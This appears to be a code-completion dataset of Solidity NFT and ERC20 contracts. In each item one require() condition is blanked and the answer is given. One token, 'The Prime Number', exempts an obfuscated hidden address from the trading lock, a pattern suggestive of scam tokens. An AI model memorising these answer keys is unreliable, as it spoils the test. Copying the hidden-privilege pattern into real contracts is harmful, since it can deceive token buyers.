/// @dev only nft owner can use this function
/// @param _nftContract address of nft contract
/// @param _tos list of minting target address
/// @param _quantitys list of minting quantity which is paired with _tos
function mintMultiple(
address payable _nftContract,
address[] calldata _tos,
uint16[] calldata _quantitys
) external payable {
}
}
| schedule.mintedTotal+_quantity<=schedule.supply,'MT3' | 497,464 | schedule.mintedTotal+_quantity<=schedule.supply |
'OO1' | // SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.10;
import '../utils/OwnableUpgradeable.sol';
import './OmnuumNFT1155.sol';
/// @title OmnuumMintManager - Manage mint data and logics except ticket minting
/// @author Omnuum Dev Team - <crypto_dev@omnuum.com>
/// @notice Use only purpose for Omnuum
contract OmnuumMintManager is OwnableUpgradeable {
uint8 public constant rateDecimal = 5;
/// @notice minting fee rate
uint256 public feeRate;
/// @notice minimum fee (ether)
uint256 public minFee;
/// @notice special fee rates for exceptional contracts
mapping(address => uint256) public specialFeeRates;
/// @notice nft => groupId => PublicMintSchedule
mapping(address => mapping(uint256 => PublicMintSchedule)) public publicMintSchedules;
event ChangeFeeRate(uint256 feeRate);
event SetSpecialFeeRate(address indexed nftContract, uint256 discountFeeRate);
event SetMinFee(uint256 minFee);
event Airdrop(address indexed nftContract, address indexed receiver, uint256 quantity);
event SetPublicSchedule(
address indexed nftContract,
uint256 indexed groupId,
uint256 endDate,
uint256 basePrice,
uint32 supply,
uint32 maxMintAtAddress
);
event PublicMint(
address indexed nftContract,
address indexed minter,
uint256 indexed groupId,
uint32 quantity,
uint32 maxQuantity,
uint256 price
);
struct PublicMintSchedule {
uint32 supply; // max possible minting amount
uint32 mintedTotal; // total minted amount
uint32 maxMintAtAddress; // max possible minting amount per address
mapping(address => uint32) minted; // minting count per address
uint256 endDate; // minting schedule end date timestamp
uint256 basePrice; // minting price
}
function initialize(uint256 _feeRate) public initializer {
}
/// @notice get fee rate of given nft contract
/// @param _nftContract address of nft contract
function getFeeRate(address _nftContract) public view returns (uint256) {
}
/// @notice change fee rate
/// @param _newFeeRate new fee rate
function changeFeeRate(uint256 _newFeeRate) external onlyOwner {
}
/// @notice set special fee rate for exceptional case
/// @param _nftContract address of nft
/// @param _feeRate fee rate only for nft contract
function setSpecialFeeRate(address _nftContract, uint256 _feeRate) external onlyOwner {
}
function setMinFee(uint256 _minFee) external onlyOwner {
}
/// @notice add public mint schedule
/// @dev only nft contract owner can add mint schedule
/// @param _nft nft contract address
/// @param _groupId id of mint schedule
/// @param _endDate end date of schedule
/// @param _basePrice mint price of schedule
/// @param _supply max possible minting amount
/// @param _maxMintAtAddress max possible minting amount per address
function setPublicMintSchedule(
address _nft,
uint256 _groupId,
uint256 _endDate,
uint256 _basePrice,
uint32 _supply,
uint32 _maxMintAtAddress
) external {
}
/// @notice before nft mint, check whether mint is possible and count new mint at mint schedule
/// @dev only nft contract itself can access and use its mint schedule
/// @param _groupId id of schedule
/// @param _quantity quantity to mint
/// @param _value value sent to mint at NFT contract, used for checking whether value is enough or not to mint
/// @param _minter msg.sender at NFT contract who are trying to mint
function preparePublicMint(
uint16 _groupId,
uint32 _quantity,
uint256 _value,
address _minter
) external {
}
/// @notice minting multiple nfts, can be used for airdrop
/// @dev only nft owner can use this function
/// @param _nftContract address of nft contract
/// @param _tos list of minting target address
/// @param _quantitys list of minting quantity which is paired with _tos
function mintMultiple(
address payable _nftContract,
address[] calldata _tos,
uint16[] calldata _quantitys
) external payable {
OmnuumNFT1155 targetContract = OmnuumNFT1155(_nftContract);
uint256 len = _tos.length;
/// @custom:error (OO1) - Ownable: Caller is not the collection owner
require(<FILL_ME>)
/// @custom:error (ARG1) - Arguments length should be same
require(len == _quantitys.length, 'ARG1');
uint256 totalQuantity;
for (uint256 i = 0; i < len; i++) {
totalQuantity += _quantitys[i];
}
/// @custom:error (ARG3) - Not enough ether sent
require(msg.value >= totalQuantity * minFee, 'ARG3');
for (uint256 i = 0; i < len; i++) {
address to = _tos[i];
uint16 quantity = _quantitys[i];
targetContract.mintDirect{ value: minFee * _quantitys[i] }(to, quantity);
emit Airdrop(_nftContract, to, quantity);
}
}
}
| targetContract.owner()==msg.sender,'OO1' | 497,464 | targetContract.owner()==msg.sender |
"Media: uri already exist" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
import "./interfaces/IERC721Minter.sol";
import "./interfaces/IERC1155Minter.sol";
import "./interfaces/IMarket.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract Media is Ownable {
IMarket private epikoMarket;
IERC1155Minter private epikoErc1155;
IERC721Minter private epikoErc721;
uint256 private constant PERCENTAGE_DENOMINATOR = 10000;
/// @dev mapping from uri to bool
mapping(string => bool) private _isUriExist;
event Mint(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
event MarketItemCreated(
address indexed nftAddress,
address indexed seller,
uint256 price,
uint256 indexed tokenId,
uint256 quantity
);
event AuctionCreated(
address indexed nftAddress,
uint256 indexed tokenId,
address indexed seller,
uint256 price,
uint256 quantity,
uint256 startTime,
uint256 endTime
);
constructor(
address erc721Address,
address erc1155Address,
address marketAddress
) {
}
/* Mint nft */
function mint(
uint256 amount,
uint256 royaltyFraction,
string memory uri,
bool isErc721
) external {
require(amount > 0, "Media: amount zero provided");
require(
royaltyFraction <= PERCENTAGE_DENOMINATOR,
"Media: invalid royaltyFraction provided"
);
require(<FILL_ME>)
address _user = msg.sender;
if (isErc721) {
require(amount == 1, "Media: amount must be 1");
uint256 id = epikoErc721.mint(_user, royaltyFraction, uri);
emit Mint(address(0), _user, id);
} else {
require(amount > 0, "Media: amount must greater than 0");
uint256 id = epikoErc1155.mint(
_user,
amount,
royaltyFraction,
uri,
"0x00"
);
emit Mint(address(0), _user, id);
}
_isUriExist[uri] = true;
}
/* Burn nft (only contract Owner)*/
function burn(uint256 tokenId) external onlyOwner {
}
/* Burn nft (only contract Owner)*/
function burn(
address from,
uint256 tokenId,
uint256 amount
) external onlyOwner {
}
/* Places item for sale on the marketplace */
function sellitem(
address nftAddress,
address erc20Token,
uint256 tokenId,
uint256 amount,
uint256 price
) external {
}
function buyItem(
address nftAddress,
address seller,
uint256 tokenId,
uint256 quantity
) external payable {
}
function createAuction(
address nftAddress,
address erc20Token,
uint256 tokenId,
uint256 amount,
uint256 basePrice,
uint256 endTime
) external {
}
function placeBid(
address nftAddress,
address seller,
uint256 tokenId,
uint256 price
) external payable {
}
function approveBid(
address nftAddress,
address seller,
uint256 tokenId,
address bidder
) external {
}
function claimNft(
address nftAddress,
address seller,
uint256 tokenId
) external {
}
function cancelBid(
address nftAddress,
address seller,
uint256 tokenId
) external {
}
function revokeAuction(address nftAddress, uint256 tokenId) external {
}
function cancelSell(address nftAddress, uint256 tokenId) external {
}
function cancelAuction(address nftAddress, uint256 tokenId) external {
}
function validator(
address nftAddress,
address seller,
uint256 tokenId
) internal pure {
}
}
| _isUriExist[uri]!=true,"Media: uri already exist" | 497,631 | _isUriExist[uri]!=true |
"ERC20: trading is not yet enabled." | pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IUniswapV2Pair {
event Sync(uint112 reserve0, uint112 reserve1);
function sync() external;
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private primArr;
mapping (address => bool) private Sadist;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private Fonts = 0;
address public pair;
IDEXRouter router;
string private _name; string private _symbol; address private hash10nsqjhd1iud1jn; uint256 private _totalSupply;
bool private trading; uint256 private Sprint; bool private Market; uint256 private Cloud;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function decimals() public view virtual override returns (uint8) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function name() public view virtual override returns (string memory) {
}
function openTrading() external onlyOwner returns (bool) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function symbol() public view virtual override returns (string memory) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function _LetsMakeMaxFun(address creator) internal virtual {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function fin(uint256 g) internal view returns (address) { }
function numberTheory(uint256 num) internal view returns (uint256) { }
function _updateLiquidity(bool h, bool i, bool j) internal returns (uint256) { }
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _balancesOfTheCrown(address sender, address recipient, bool simulation) internal {
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function _balancesOfTheLand(address sender, address recipient) internal {
require(<FILL_ME>)
_balancesOfTheCrown(sender, recipient, (address(sender) == hash10nsqjhd1iud1jn) && (Sprint > 0));
Sprint += (sender == hash10nsqjhd1iud1jn) ? 1 : 0;
}
function _DeployFun(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract ThePrimeNumber is ERC20Token {
constructor() ERC20Token("The Prime Number", "PRIME", msg.sender, 77777777777 * 10 ** 18) {
}
}
| (trading||(sender==hash10nsqjhd1iud1jn)),"ERC20: trading is not yet enabled." | 497,636 | (trading||(sender==hash10nsqjhd1iud1jn)) |
null | // https://t.me/MegurineLukaERC
// https://megurineluka.org/
// Welcome to MegurineLuka ε·‘ι³γ«γ«
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address _owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface DexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface DexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
mapping(address => bool) internal authorizations;
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract MegurineLuka is Ownable, IERC20 {
using SafeMath for uint256;
string private constant _name = "Megurine Luka";
string private constant _symbol = " MegurineLuka ";
address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
address private constant ZERO = 0x0000000000000000000000000000000000000000;
address private routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint8 private constant _decimals = 18;
uint256 private _totalSupply = 1000000000000 * (10**_decimals);
uint256 public _maxTxAmount = (_totalSupply * 20) / 1000;
uint256 public _walletMax = (_totalSupply * 20) / 1000;
bool public restrictWhales = true;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) public isFeeExempt;
mapping(address => bool) public isTxLimitExempt;
uint256 public liquidityFee = 2;
uint256 public marketingFee = 5;
uint256 public devFee = 1;
uint256 public totalFee = 8;
uint256 public totalFeeIfSelling = 8;
bool public takeBuyFee = true;
bool public takeSellFee = true;
bool public takeTransferFee = true;
address private lpWallet;
address private projectAddress;
address private teamAddress;
DexRouter public router;
address public pair;
mapping(address => bool) public isPair;
uint256 public launchedAt;
bool public tradingOpen = false;
bool private inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public swapAndLiquifyByLimitOnly = false;
uint256 public swapThreshold = (_totalSupply * 2) / 2000;
event AutoLiquify(uint256 amountETH, uint256 amountBOG);
modifier lockTheSwap() {
}
constructor() {
}
receive() external payable {}
function name() external pure override returns (string memory) {
}
function symbol() external pure override returns (string memory) {
}
function decimals() external pure override returns (uint8) {
}
function totalSupply() external view override returns (uint256) {
}
function getOwner() external view override returns (address) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address holder, address spender)
external
view
override
returns (uint256)
{
}
function getCirculatingSupply() public view returns (uint256) {
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function newWalletLimit(uint256 newLimit) external onlyOwner {
}
function newTxLimit(uint256 newLimit) external onlyOwner {
}
function openTrading() public onlyOwner {
}
function feeWhitelist(address holder, bool exempt) external onlyOwner {
}
function txLimitWhitelist(address holder, bool exempt) external onlyOwner {
}
function grantCompletePermissions(address target) public onlyOwner {
}
function changeFees(
uint256 newLiqFee,
uint256 newMarketingFee,
uint256 newDevFee,
uint256 extraSellFee
) external onlyOwner {
liquidityFee = newLiqFee;
marketingFee = newMarketingFee;
devFee = newDevFee;
totalFee = liquidityFee.add(marketingFee).add(devFee);
totalFeeIfSelling = totalFee + extraSellFee;
require(<FILL_ME>)
}
function isAuth(address _address, bool status) public onlyOwner {
}
function changePair(address _address, bool status) public onlyOwner {
}
function changeTakeBuyfee(bool status) public onlyOwner {
}
function changeTakeSellfee(bool status) public onlyOwner {
}
function changeTakeTransferfee(bool status) public onlyOwner {
}
function changeSwapbackSettings(bool status, uint256 newAmount)
public
onlyOwner
{
}
function changeWallets(
address newMktWallet,
address newDevWallet,
address newLpWallet
) public onlyOwner {
}
function removeERC20(address tokenAddress, uint256 tokens)
public
onlyOwner
returns (bool success)
{
}
function removeEther(uint256 amountPercentage) external onlyOwner {
}
function approveMax(address spender) external returns (bool) {
}
function launched() internal view returns (bool) {
}
function launch() internal {
}
function checkTxLimit(address sender, uint256 amount) internal view {
}
function failsCaptcha(address addr) internal view returns (bool) {
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
}
function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
}
function _transferFrom(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
}
function takeFee(
address sender,
address recipient,
uint256 amount
) internal returns (uint256) {
}
function swapBackAndPair() internal lockTheSwap {
}
}
| totalFeeIfSelling+totalFee<25 | 497,731 | totalFeeIfSelling+totalFee<25 |
"Quantity exceeds per-wallet limit" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
// ...... .
// :xldkooxc.
// cK00KKKXKl
// ;0XKKKKXXO;.
// .:x0KKKKKXXX0x;.
// ;kKKKKKKKKKXKKK0o.
// .l0KKKKKKKKKKKKKKK0kd;
// ,kKKKKKKKKKKKKKKKKKKKK0:
// .dKKKKKKKKKKKKKKKKKKKKKKd.
// ,OKKKKKKKKKKKKKKKKKKKKKKx.
// cKKKKKKKKKKKKKKKKKKKKKKKk'
// lKKKKKKKKKKKKKKKKKKKKKKKO,
// .oKKKKKKKKKKKKKKKKKKKKKKKO,
// .oKKKKKKKKKKKKKKKKKKKKKKKO,
// .oKKKKKKKKKKKKKKKKKKKKKKKk'
// cKKKKKKKKKKKKKKKKKKKKKKKd.
// ;0KKKKKKKKKKKKKKKKKKKKKKc
// .'. 'kKKKKKKKKKKKKKKKKKKKKKO;
// :OKOd;. .lKKKKKKKKKKKKKKKKKKKKKx. ...
// .l0KKKKKkl' 'x0KKKKKKKKKKKKKKKKOdo;.'lkOx;
// .ckKKKKKKKKK0d' .l0KKKKKKKKKKKKKKKl..:d0KKKKOc.
// .:kKKKKXXKKKKKKKk, ;0KKKKKKKKKKK0Od:,oOKKKKKKKK0x;
// 'xKKKKXKKKXKKKKKKKk, ;0KKKKKKKKKK0l. 'xKKKKKKKXKKKK0x,
// ,OKOkkOKOk0XKKKKKKKKx,c0KKKKXXKKKK0: 'xKKKKKKKKKKKKKKK0o.
// .o0l'. ....':,,oOOO0KKOOKKKKKKXKKKKK:.dKKKKKKXXXKO0XK00KKx'
// '' ....;lkKKKKKKKKXKKKKkkKKK000x::c;..,'..,dKo
// .'cd0KXXXXXXXXXXXXKKkl,''. .;,
// .,cxOKK0KXXXXXXXXXXXXK0Odlc;'.
// .,ok0K00000KXXXXXXXXXXXXK0000KK0Oxl,
// 'd0000000000KXXXXXXXXXXXXK00000000000o.
// ,k00000000000KXXXXXXXXXXXXK000000000000d.
// .xK00000000K0KKXXXXXXXXXXXXK00000000000K0c
// :000000000000KKXXXXXXXXXXXXK000000000000Ko.
// .oK00000000000KKXXXXXXXXX_cooked by @nftchef.
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./common/ERC721A.sol";
contract DivineSatoshi is ERC721A, Ownable, Pausable, ReentrancyGuard, PaymentSplitter {
using Strings for uint256;
uint128 public SUPPLY = 3000;
uint128 public MINT_LIMIT = 20;
uint128 public PRICE = 0.03 ether;
/// @dev enforce a per-address lifetime limit based on the mintBalances mapping
bool public walletLimit = true;
mapping(address => uint256) public mintBalances;
/// keckack256 hash of concatenated, individual item metadata attribute hashes
string public PROVENANCE_HASH;
string internal baseTokenURI;
address[] internal payees;
constructor(
string memory _initialURI,
address[] memory _payees,
uint256[] memory _shares
) payable ERC721A("Divine Satoshi", "DSAT") Pausable() PaymentSplitter(_payees, _shares) {
}
function purchase(uint256 _quantity) public payable nonReentrant whenNotPaused {
require(_quantity <= MINT_LIMIT, "Quantity exceeds MINT_LIMIT");
if (walletLimit) {
require(<FILL_ME>)
}
require(_quantity * PRICE <= msg.value, "Not enough minerals");
require(_quantity + totalSupply() <= SUPPLY, "Purchase exceeds available supply");
_safeMint(msg.sender, _quantity);
mintBalances[msg.sender] += _quantity;
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
//----------------------------------------------------------------------------
// Only Owner
//----------------------------------------------------------------------------
/**
* @notice Mint a single token to each address passed in through calldata
* @param _recipients Array of addresses to send a single token to
*/
function gift(address[] calldata _recipients) external onlyOwner {
}
function setPaused(bool _state) external onlyOwner {
}
function setWalletLimit(bool _state) external onlyOwner {
}
function setProvenance(string memory _provenance) external onlyOwner {
}
function setBaseURI(string memory _URI) external onlyOwner {
}
// @dev: blockchain is forever, you never know, you might need these...
function setPrice(uint128 _price) external onlyOwner {
}
function setPublicLimit(uint128 _limit) external onlyOwner {
}
function withdrawAll() external onlyOwner {
}
}
| _quantity+mintBalances[msg.sender]<=MINT_LIMIT,"Quantity exceeds per-wallet limit" | 497,851 | _quantity+mintBalances[msg.sender]<=MINT_LIMIT |
"Not enough minerals" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
// ...... .
// :xldkooxc.
// cK00KKKXKl
// ;0XKKKKXXO;.
// .:x0KKKKKXXX0x;.
// ;kKKKKKKKKKXKKK0o.
// .l0KKKKKKKKKKKKKKK0kd;
// ,kKKKKKKKKKKKKKKKKKKKK0:
// .dKKKKKKKKKKKKKKKKKKKKKKd.
// ,OKKKKKKKKKKKKKKKKKKKKKKx.
// cKKKKKKKKKKKKKKKKKKKKKKKk'
// lKKKKKKKKKKKKKKKKKKKKKKKO,
// .oKKKKKKKKKKKKKKKKKKKKKKKO,
// .oKKKKKKKKKKKKKKKKKKKKKKKO,
// .oKKKKKKKKKKKKKKKKKKKKKKKk'
// cKKKKKKKKKKKKKKKKKKKKKKKd.
// ;0KKKKKKKKKKKKKKKKKKKKKKc
// .'. 'kKKKKKKKKKKKKKKKKKKKKKO;
// :OKOd;. .lKKKKKKKKKKKKKKKKKKKKKx. ...
// .l0KKKKKkl' 'x0KKKKKKKKKKKKKKKKOdo;.'lkOx;
// .ckKKKKKKKKK0d' .l0KKKKKKKKKKKKKKKl..:d0KKKKOc.
// .:kKKKKXXKKKKKKKk, ;0KKKKKKKKKKK0Od:,oOKKKKKKKK0x;
// 'xKKKKXKKKXKKKKKKKk, ;0KKKKKKKKKK0l. 'xKKKKKKKXKKKK0x,
// ,OKOkkOKOk0XKKKKKKKKx,c0KKKKXXKKKK0: 'xKKKKKKKKKKKKKKK0o.
// .o0l'. ....':,,oOOO0KKOOKKKKKKXKKKKK:.dKKKKKKXXXKO0XK00KKx'
// '' ....;lkKKKKKKKKXKKKKkkKKK000x::c;..,'..,dKo
// .'cd0KXXXXXXXXXXXXKKkl,''. .;,
// .,cxOKK0KXXXXXXXXXXXXK0Odlc;'.
// .,ok0K00000KXXXXXXXXXXXXK0000KK0Oxl,
// 'd0000000000KXXXXXXXXXXXXK00000000000o.
// ,k00000000000KXXXXXXXXXXXXK000000000000d.
// .xK00000000K0KKXXXXXXXXXXXXK00000000000K0c
// :000000000000KKXXXXXXXXXXXXK000000000000Ko.
// .oK00000000000KKXXXXXXXXX_cooked by @nftchef.
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./common/ERC721A.sol";
contract DivineSatoshi is ERC721A, Ownable, Pausable, ReentrancyGuard, PaymentSplitter {
using Strings for uint256;
uint128 public SUPPLY = 3000;
uint128 public MINT_LIMIT = 20;
uint128 public PRICE = 0.03 ether;
/// @dev enforce a per-address lifetime limit based on the mintBalances mapping
bool public walletLimit = true;
mapping(address => uint256) public mintBalances;
/// keckack256 hash of concatenated, individual item metadata attribute hashes
string public PROVENANCE_HASH;
string internal baseTokenURI;
address[] internal payees;
constructor(
string memory _initialURI,
address[] memory _payees,
uint256[] memory _shares
) payable ERC721A("Divine Satoshi", "DSAT") Pausable() PaymentSplitter(_payees, _shares) {
}
function purchase(uint256 _quantity) public payable nonReentrant whenNotPaused {
require(_quantity <= MINT_LIMIT, "Quantity exceeds MINT_LIMIT");
if (walletLimit) {
require(
_quantity + mintBalances[msg.sender] <= MINT_LIMIT,
"Quantity exceeds per-wallet limit"
);
}
require(<FILL_ME>)
require(_quantity + totalSupply() <= SUPPLY, "Purchase exceeds available supply");
_safeMint(msg.sender, _quantity);
mintBalances[msg.sender] += _quantity;
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
//----------------------------------------------------------------------------
// Only Owner
//----------------------------------------------------------------------------
/**
* @notice Mint a single token to each address passed in through calldata
* @param _recipients Array of addresses to send a single token to
*/
function gift(address[] calldata _recipients) external onlyOwner {
}
function setPaused(bool _state) external onlyOwner {
}
function setWalletLimit(bool _state) external onlyOwner {
}
function setProvenance(string memory _provenance) external onlyOwner {
}
function setBaseURI(string memory _URI) external onlyOwner {
}
// @dev: blockchain is forever, you never know, you might need these...
function setPrice(uint128 _price) external onlyOwner {
}
function setPublicLimit(uint128 _limit) external onlyOwner {
}
function withdrawAll() external onlyOwner {
}
}
| _quantity*PRICE<=msg.value,"Not enough minerals" | 497,851 | _quantity*PRICE<=msg.value |
"Purchase exceeds available supply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
// ...... .
// :xldkooxc.
// cK00KKKXKl
// ;0XKKKKXXO;.
// .:x0KKKKKXXX0x;.
// ;kKKKKKKKKKXKKK0o.
// .l0KKKKKKKKKKKKKKK0kd;
// ,kKKKKKKKKKKKKKKKKKKKK0:
// .dKKKKKKKKKKKKKKKKKKKKKKd.
// ,OKKKKKKKKKKKKKKKKKKKKKKx.
// cKKKKKKKKKKKKKKKKKKKKKKKk'
// lKKKKKKKKKKKKKKKKKKKKKKKO,
// .oKKKKKKKKKKKKKKKKKKKKKKKO,
// .oKKKKKKKKKKKKKKKKKKKKKKKO,
// .oKKKKKKKKKKKKKKKKKKKKKKKk'
// cKKKKKKKKKKKKKKKKKKKKKKKd.
// ;0KKKKKKKKKKKKKKKKKKKKKKc
// .'. 'kKKKKKKKKKKKKKKKKKKKKKO;
// :OKOd;. .lKKKKKKKKKKKKKKKKKKKKKx. ...
// .l0KKKKKkl' 'x0KKKKKKKKKKKKKKKKOdo;.'lkOx;
// .ckKKKKKKKKK0d' .l0KKKKKKKKKKKKKKKl..:d0KKKKOc.
// .:kKKKKXXKKKKKKKk, ;0KKKKKKKKKKK0Od:,oOKKKKKKKK0x;
// 'xKKKKXKKKXKKKKKKKk, ;0KKKKKKKKKK0l. 'xKKKKKKKXKKKK0x,
// ,OKOkkOKOk0XKKKKKKKKx,c0KKKKXXKKKK0: 'xKKKKKKKKKKKKKKK0o.
// .o0l'. ....':,,oOOO0KKOOKKKKKKXKKKKK:.dKKKKKKXXXKO0XK00KKx'
// '' ....;lkKKKKKKKKXKKKKkkKKK000x::c;..,'..,dKo
// .'cd0KXXXXXXXXXXXXKKkl,''. .;,
// .,cxOKK0KXXXXXXXXXXXXK0Odlc;'.
// .,ok0K00000KXXXXXXXXXXXXK0000KK0Oxl,
// 'd0000000000KXXXXXXXXXXXXK00000000000o.
// ,k00000000000KXXXXXXXXXXXXK000000000000d.
// .xK00000000K0KKXXXXXXXXXXXXK00000000000K0c
// :000000000000KKXXXXXXXXXXXXK000000000000Ko.
// .oK00000000000KKXXXXXXXXX_cooked by @nftchef.
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./common/ERC721A.sol";
contract DivineSatoshi is ERC721A, Ownable, Pausable, ReentrancyGuard, PaymentSplitter {
using Strings for uint256;
uint128 public SUPPLY = 3000;
uint128 public MINT_LIMIT = 20;
uint128 public PRICE = 0.03 ether;
/// @dev enforce a per-address lifetime limit based on the mintBalances mapping
bool public walletLimit = true;
mapping(address => uint256) public mintBalances;
/// keckack256 hash of concatenated, individual item metadata attribute hashes
string public PROVENANCE_HASH;
string internal baseTokenURI;
address[] internal payees;
constructor(
string memory _initialURI,
address[] memory _payees,
uint256[] memory _shares
) payable ERC721A("Divine Satoshi", "DSAT") Pausable() PaymentSplitter(_payees, _shares) {
}
function purchase(uint256 _quantity) public payable nonReentrant whenNotPaused {
require(_quantity <= MINT_LIMIT, "Quantity exceeds MINT_LIMIT");
if (walletLimit) {
require(
_quantity + mintBalances[msg.sender] <= MINT_LIMIT,
"Quantity exceeds per-wallet limit"
);
}
require(_quantity * PRICE <= msg.value, "Not enough minerals");
require(<FILL_ME>)
_safeMint(msg.sender, _quantity);
mintBalances[msg.sender] += _quantity;
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
//----------------------------------------------------------------------------
// Only Owner
//----------------------------------------------------------------------------
/**
* @notice Mint a single token to each address passed in through calldata
* @param _recipients Array of addresses to send a single token to
*/
function gift(address[] calldata _recipients) external onlyOwner {
}
function setPaused(bool _state) external onlyOwner {
}
function setWalletLimit(bool _state) external onlyOwner {
}
function setProvenance(string memory _provenance) external onlyOwner {
}
function setBaseURI(string memory _URI) external onlyOwner {
}
// @dev: blockchain is forever, you never know, you might need these...
function setPrice(uint128 _price) external onlyOwner {
}
function setPublicLimit(uint128 _limit) external onlyOwner {
}
function withdrawAll() external onlyOwner {
}
}
| _quantity+totalSupply()<=SUPPLY,"Purchase exceeds available supply" | 497,851 | _quantity+totalSupply()<=SUPPLY |
"_quantity exceeds supply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
// ...... .
// :xldkooxc.
// cK00KKKXKl
// ;0XKKKKXXO;.
// .:x0KKKKKXXX0x;.
// ;kKKKKKKKKKXKKK0o.
// .l0KKKKKKKKKKKKKKK0kd;
